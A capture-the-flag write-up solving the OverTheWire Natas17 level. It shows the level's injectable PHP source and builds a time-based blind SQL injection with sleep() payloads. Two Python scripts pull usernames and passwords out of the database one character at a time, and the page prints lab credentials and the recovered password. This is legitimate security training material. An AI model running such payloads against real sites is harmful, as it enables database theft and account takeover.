We arrive at a page with a text input, exactly the same as in Natas15.
Let’s see if the source code is the same as well.
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas17', '<censored>');
mysql_select_db('natas17', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas17", "pass": "<censored>" };</script></head>
<body>
<h1>natas17</h1>
<div id="content">
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas17', '<censored>');
mysql_select_db('natas17', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Well, for the most part yes, but not for the important part. This time it won’t even tell us if our query returned anything or if it even has any errors in it. Time to try out a different variation of blind SQL injection then, time based blind sqli should work!
Googling for a bit made me find this, in that report’s PoC, the guy used SQL’s IF()
function which makes things easier to understand. So I googled how to use this IF()
function and found it here.
Our initial payload is:
union select if(TRUE,sleep(5),0),"asd"
union
because if()
needs to be select
ed.if(condition, return_if_true, return_if_false)
will return it’s second param (which is sleep(5)
) if the condition is true, which we just set to TRUE
, so it should wait for 5 secs and then return nothing.,"asd"
because when union
ing a query, we must have the same number of columns as the previous query. We know 2 columns will be returned from the hint in the source, so we need to have 2 columns union
ed, the first one will come from if()
, the second will be asd
.Let’s try it out with a python script.
import requests
url = "http://natas17.natas.labs.overthewire.org/"
authheader = {
"Authorization": "Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw=="
}
s = requests.Session()
s.headers.update(authheader)
payload = {
"username": "\" union select if(TRUE,sleep(5),0),2 #"
}
r = s.post(url, payload)
print r.text
Don’t forget to add the "
in the beginning and the #
in the end, this query actually did took 5 seconds before returning the page so it should indicate that it did work. I tried changing TRUE
to FALSE
and that made the page return instantly.
Now we just need to do the character guessing with ascii()
and substring()
like we did in the previous blind sqli challenge, but this time, we need to find a way to make python know about response time, because we can’t simply look at the page output. So this time we’ll use a timeout.
import requests
import string
url = "http://natas17.natas.labs.overthewire.org/"
authheader = {
"Authorization": "Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw=="
}
s = requests.Session()
s.headers.update(authheader)
row = 1
while 1:
payload = {
"username": "\" union select if((select count(*) from users)=%d,sleep(5),0),2 #" % row
}
# print "[ ] %s" % payload["username"]
try:
r = s.post(url, payload, timeout=3)
except requests.Timeout:
print "[*] total rows: %d" % row
break
else:
row += 1
charset_string = string.ascii_letters + "1234567890"
charset = []
for c in charset_string:
charset.append(ord(c))
cols = ["username", "password"]
for i in range(row):
for col in cols:
flag = ''
done = 0
pos = 1
while 1:
if done:
break
for c in charset:
payload = {
"username": "\" union select if((ascii(substring((select %s from users limit %d,1),%d,1))=%d),sleep(5),0),2 #" % (col, i, pos, c)
}
# print "[ ] %s" % payload["username"]
try:
r = s.post(url, payload, timeout=3)
except requests.Timeout:
flag += chr(c)
# print "[*] current string: %s" % flag
pos += 1
break
except:
s = requests.Session()
s.headers.update(authheader)
if c == ord('0'):
print "[+] col %s row %d: %s" % (col, i+1, flag)
done = 1
break
Here we’ll set the timeout to be 3 secs just in case my internet goes slow, and the sleep()
to wait for 5 secs so it will definitely trigger the timeout exception, if it got another exception it’s probably the server killing our session, so we’ll just make a new one. Running the script got me this output.
[*] total rows: 4
...
[+] col username row 4: natas18
[+] col password row 4: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
You can download my script.py here
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
‹ Previous in Web exploitation: Natas16 | Next in Web exploitation: Natas18 › |